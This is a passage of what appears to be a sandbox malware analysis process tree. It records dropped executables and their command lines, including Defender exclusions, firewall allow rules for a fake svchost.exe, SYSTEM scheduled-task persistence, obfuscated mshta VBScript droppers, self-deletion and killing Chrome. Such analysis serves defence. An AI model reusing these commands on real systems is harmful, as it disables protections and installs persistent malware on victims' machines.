                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\zd3zBBeZWgBF3FRyTvsUkQIS.exe
                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\zd3zBBeZWgBF3FRyTvsUkQIS.exe"
                                                                                                                                                                    6⤵
                                                                                                                                                                      PID:6116
                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
                                                                                                                                                                        7⤵
                                                                                                                                                                          PID:5748
                                                                                                                                                                        • C:\Windows\System32\netsh.exe
                                                                                                                                                                          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                                                          7⤵
                                                                                                                                                                            PID:6896
                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
                                                                                                                                                                            7⤵
                                                                                                                                                                              PID:6808
                                                                                                                                                                            • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                              schtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM
                                                                                                                                                                              7⤵
                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                              PID:5588
                                                                                                                                                                            • C:\Windows\System\svchost.exe
                                                                                                                                                                              "C:\Windows\System\svchost.exe" formal
                                                                                                                                                                              7⤵
                                                                                                                                                                                PID:5360
                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
                                                                                                                                                                                  8⤵
                                                                                                                                                                                    PID:1160
                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
                                                                                                                                                                                    8⤵
                                                                                                                                                                                      PID:1484
                                                                                                                                                                                    • C:\Windows\System32\netsh.exe
                                                                                                                                                                                      "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                                                                      8⤵
                                                                                                                                                                                        PID:3792
                                                                                                                                                                                      • C:\Windows\System32\netsh.exe
                                                                                                                                                                                        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                                                                        8⤵
                                                                                                                                                                                          PID:1496
                                                                                                                                                                                      • C:\Windows\System32\netsh.exe
                                                                                                                                                                                        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                                                                                                        7⤵
                                                                                                                                                                                          PID:6984
                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\0lIIZ3JStvsW8nGnUHWNgBtn.exe
                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\0lIIZ3JStvsW8nGnUHWNgBtn.exe"
                                                                                                                                                                                        6⤵
                                                                                                                                                                                          PID:4832
                                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\E1AVjJ1TTpSf6xDjrAK4lRdS.exe
                                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\E1AVjJ1TTpSf6xDjrAK4lRdS.exe"
                                                                                                                                                                                          6⤵
                                                                                                                                                                                            PID:5368
                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 5368 -s 316
                                                                                                                                                                                              7⤵
                                                                                                                                                                                              • Program crash
                                                                                                                                                                                              PID:4956
                                                                                                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\2LprYkcCaAA9UlXknsAFDylZ.exe
                                                                                                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\2LprYkcCaAA9UlXknsAFDylZ.exe"
                                                                                                                                                                                            6⤵
                                                                                                                                                                                              PID:5304
                                                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\uTn3gKPE9vzGHXyuPbjrQdp1.exe
                                                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\uTn3gKPE9vzGHXyuPbjrQdp1.exe"
                                                                                                                                                                                              6⤵
                                                                                                                                                                                                PID:2428
                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\uTn3gKPE9vzGHXyuPbjrQdp1.exe" & exit
                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                    PID:7764
                                                                                                                                                                                                    • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                      timeout /t 5
                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                      • Delays execution with timeout.exe
                                                                                                                                                                                                      PID:5148
                                                                                                                                                                                                • C:\Users\Admin\Pictures\Adobe Films\GAP8ItZFo046cAQWwNxtkRwW.exe
                                                                                                                                                                                                  "C:\Users\Admin\Pictures\Adobe Films\GAP8ItZFo046cAQWwNxtkRwW.exe"
                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                    PID:4904
                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\GAP8ItZFo046cAQWwNxtkRwW.exe" & exit
                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                        PID:8072
                                                                                                                                                                                                        • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                          timeout /t 5
                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                          • Delays execution with timeout.exe
                                                                                                                                                                                                          PID:436
                                                                                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\ZoGPnoRCJS0l9rQfr4RwhDiI.exe
                                                                                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\ZoGPnoRCJS0l9rQfr4RwhDiI.exe"
                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                        PID:5692
                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\E0avC6RQwfLPC1Gi3NqcoFG5.exe
                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\E0avC6RQwfLPC1Gi3NqcoFG5.exe"
                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                          PID:5652
                                                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\ra76YP_O5QOINZCiqZy9MDWG.exe
                                                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\ra76YP_O5QOINZCiqZy9MDWG.exe"
                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                            PID:5928
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Underdress.exe
                                                                                                                                                                                                              C:\Users\Admin\AppData\Roaming\Underdress.exe
                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                PID:2180
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe
                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"
                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                    PID:5192
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe
                                                                                                                                                                                                                  C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe
                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                    PID:5160
                                                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
                                                                                                                                                                                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                        PID:6224
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 5160 -s 556
                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                                        PID:6456
                                                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\HXPcq6WxPdAuzfqCfI2GMi0z.exe
                                                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\HXPcq6WxPdAuzfqCfI2GMi0z.exe"
                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                      PID:5584
                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\HXPcq6WxPdAuzfqCfI2GMi0z.exe
                                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\HXPcq6WxPdAuzfqCfI2GMi0z.exe"
                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                          PID:6380
                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\VGdGpH2oTL1E6OMuHfnhf5oT.exe
                                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\VGdGpH2oTL1E6OMuHfnhf5oT.exe"
                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                          PID:5484
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                            "C:\Windows\System32\mshta.exe" VBsCRIPt:cLose ( creAteObjecT ("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\VGdGpH2oTL1E6OMuHfnhf5oT.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\VGdGpH2oTL1E6OMuHfnhf5oT.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )
                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                              PID:6680
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\VGdGpH2oTL1E6OMuHfnhf5oT.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\VGdGpH2oTL1E6OMuHfnhf5oT.exe" ) do taskkill -im "%~NxK" -F
                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                  PID:5172
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\8pWB.eXE
                                                                                                                                                                                                                                    8pWB.eXe /pO_wtib1KE0hzl7U9_CYP
                                                                                                                                                                                                                                    9⤵
                                                                                                                                                                                                                                      PID:7312
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                        "C:\Windows\System32\mshta.exe" VBsCRIPt:cLose ( creAteObjecT ("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )
                                                                                                                                                                                                                                        10⤵
                                                                                                                                                                                                                                          PID:7544
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F
                                                                                                                                                                                                                                            11⤵
                                                                                                                                                                                                                                              PID:7936
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                          taskkill -im "VGdGpH2oTL1E6OMuHfnhf5oT.exe" -F
                                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                                                                                                          PID:7960
                                                                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\D7IbGBuJ2GV5GLwvVbOXX6Vf.exe
                                                                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\D7IbGBuJ2GV5GLwvVbOXX6Vf.exe"
                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                      PID:6216
                                                                                                                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\GlgGScdKbLBGoYvIFSJxwr2H.exe
                                                                                                                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\GlgGScdKbLBGoYvIFSJxwr2H.exe"
                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                        PID:4280
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c Tue162f02d7b75a1d.exe
                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                    PID:1176
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue162f02d7b75a1d.exe
                                                                                                                                                                                                                                      Tue162f02d7b75a1d.exe
                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                      PID:420
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c Tue1693c6e21a84f1.exe
                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                      PID:1036
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue1693c6e21a84f1.exe
                                                                                                                                                                                                                                        Tue1693c6e21a84f1.exe
                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                        PID:1232
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c Tue16937a015b8e.exe
                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                        PID:2500
                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue16937a015b8e.exe
                                                                                                                                                                                                                                          Tue16937a015b8e.exe
                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                          PID:3144
                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-0BKEP.tmp\Tue16937a015b8e.tmp
                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-0BKEP.tmp\Tue16937a015b8e.tmp" /SL5="$80056,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue16937a015b8e.exe"
                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                            PID:1192
                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue16937a015b8e.exe
                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue16937a015b8e.exe" /SILENT
                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                              PID:1976
                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-6488J.tmp\Tue16937a015b8e.tmp
                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-6488J.tmp\Tue16937a015b8e.tmp" /SL5="$80080,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue16937a015b8e.exe" /SILENT
                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                PID:3920
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c Tue161bd708d12e5.exe
                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                          PID:2056
                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue161bd708d12e5.exe
                                                                                                                                                                                                                                            Tue161bd708d12e5.exe
                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                            PID:980
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                              "C:\Windows\System32\mshta.exe" VBScrIPt: ClOse ( CrEATeobjEct ( "wScRipt.SHELl" ). run ( "CMd /C tYpe ""C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue161bd708d12e5.exe""> fkKCS.exe&& StarT fkKCS.EXE -P_3FA3g8_0NB & If """" == """" for %E In ( ""C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue161bd708d12e5.exe"" ) do taskkill -F /iM ""%~nXE"" " , 0 , True ) )
                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                PID:1196
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /C tYpe "C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue161bd708d12e5.exe"> fkKCS.exe&& StarT fkKCS.EXE -P_3FA3g8_0NB & If "" == "" for %E In ( "C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue161bd708d12e5.exe" ) do taskkill -F /iM "%~nXE"
                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                    PID:2836
                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\fkKCS.exe
                                                                                                                                                                                                                                                      fkKCS.EXE -P_3FA3g8_0NB
                                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                                        PID:4136
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                          "C:\Windows\System32\mshta.exe" VBScrIPt: ClOse ( CrEATeobjEct ( "wScRipt.SHELl" ). run ( "CMd /C tYpe ""C:\Users\Admin\AppData\Local\Temp\fkKCS.exe""> fkKCS.exe&& StarT fkKCS.EXE -P_3FA3g8_0NB & If ""-P_3FA3g8_0NB "" == """" for %E In ( ""C:\Users\Admin\AppData\Local\Temp\fkKCS.exe"" ) do taskkill -F /iM ""%~nXE"" " , 0 , True ) )
                                                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                                                            PID:4228
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /C tYpe "C:\Users\Admin\AppData\Local\Temp\fkKCS.exe"> fkKCS.exe&& StarT fkKCS.EXE -P_3FA3g8_0NB & If "-P_3FA3g8_0NB " == "" for %E In ( "C:\Users\Admin\AppData\Local\Temp\fkKCS.exe" ) do taskkill -F /iM "%~nXE"
                                                                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                                                                PID:4384
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                              "C:\Windows\System32\mshta.exe" VBscRipt: ClOSE ( cREaTEOBjEcT ( "wSCript.sheLl" ). RUN ( "Cmd.eXE /c echo N%TIme%O> VPZp.II & EChO | set /p = ""MZ"" > KL6F.Aa_ &cOpY /y /B kL6F.AA_+ LAQIL0YY.POg + vCTGFFAM.2ST + ip~Q0M_L.i + IfY08H17.9LD + 1cQMG.2 + VpZp.II PUA9.FS & sTaRT msiexec.exe /Y .\pUA9.FS " , 0 , TRUe ) )
                                                                                                                                                                                                                                                              9⤵
                                                                                                                                                                                                                                                                PID:4192
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c echo N%TIme%O> VPZp.II & EChO | set /p = "MZ" > KL6F.Aa_ &cOpY /y /B kL6F.AA_+ LAQIL0YY.POg + vCTGFFAM.2ST + ip~Q0M_L.i + IfY08H17.9LD + 1cQMG.2 + VpZp.II PUA9.FS & sTaRT msiexec.exe /Y .\pUA9.FS
                                                                                                                                                                                                                                                                  10⤵
                                                                                                                                                                                                                                                                    PID:4252
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /S /D /c" EChO "
                                                                                                                                                                                                                                                                      11⤵
                                                                                                                                                                                                                                                                        PID:4956
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /S /D /c" set /p = "MZ" 1>KL6F.Aa_"
                                                                                                                                                                                                                                                                        11⤵
                                                                                                                                                                                                                                                                          PID:5184
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                                                                                                                          msiexec.exe /Y .\pUA9.FS
                                                                                                                                                                                                                                                                          11⤵
                                                                                                                                                                                                                                                                            PID:1692
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                      taskkill -F /iM "Tue161bd708d12e5.exe"
                                                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                                                                                                      PID:4256
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c Tue165ec2d1de4f1ae98.exe
                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                PID:2472
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue165ec2d1de4f1ae98.exe
                                                                                                                                                                                                                                                                  Tue165ec2d1de4f1ae98.exe
                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                  PID:1752
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                    cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                      PID:7048
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                        taskkill /f /im chrome.exe
                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                                                                        PID:7576
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c Tue166a21bf15ecf0.exe
                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                    PID:2364
                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue166a21bf15ecf0.exe
                                                                                                                                                                                                                                                                      Tue166a21bf15ecf0.exe
                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                      PID:2840
                                                                                                                                                                                                                                                                      • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                        C:\Windows\system32\WerFault.exe -u -p 2840 -s 1352
                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                                                                                        PID:4732
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c Tue1604aa7d34a61a5b.exe
                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                      PID:1216
                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue1604aa7d34a61a5b.exe
                                                                                                                                                                                                                                                                        Tue1604aa7d34a61a5b.exe
                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                        PID:3228
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c Tue169b8ca3fff9b96f8.exe
                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                        PID:820
                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue169b8ca3fff9b96f8.exe
                                                                                                                                                                                                                                                                          Tue169b8ca3fff9b96f8.exe
                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                          PID:3392
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 3944 -s 608
                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                        PID:3984
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c Tue1695d07d02bff8ff.exe
                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                          PID:1352
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c Tue1647cedf7bf133.exe
                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                          PID:4000
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c Tue16752f37c10e89.exe /mixone
                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                            PID:1960
                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue16752f37c10e89.exe
                                                                                                                                                                                                                                                                      Tue16752f37c10e89.exe /mixone
                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                      PID:3884
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c taskkill /im "Tue16752f37c10e89.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue16752f37c10e89.exe" & exit
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                          PID:5052
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                            taskkill /im "Tue16752f37c10e89.exe" /f
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                                                                                                                                            PID:5284
                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue1695d07d02bff8ff.exe
                                                                                                                                                                                                                                                                        Tue1695d07d02bff8ff.exe
                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                        PID:1848
                                                                                                                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\c3Nc4gbiFpVnCP48ntvxu2Rf.exe
                                                                                                                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\c3Nc4gbiFpVnCP48ntvxu2Rf.exe"
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                            PID:4856
                                                                                                                                                                                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\3Fas3rn2ZDKcSoOS7IkABuH0.exe
                                                                                                                                                                                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\3Fas3rn2ZDKcSoOS7IkABuH0.exe"
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                              PID:4864
                                                                                                                                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\shQFsQkOHTqmMdsjGrFrwqdm.exe
                                                                                                                                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\shQFsQkOHTqmMdsjGrFrwqdm.exe"
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                PID:4936
                                                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\HzlAeBuPQ_8MzJSUXeFR65jL.exe
                                                                                                                                                                                                                                                                                  "C:\Users\Admin\Documents\HzlAeBuPQ_8MzJSUXeFR65jL.exe"
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                    PID:4380
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
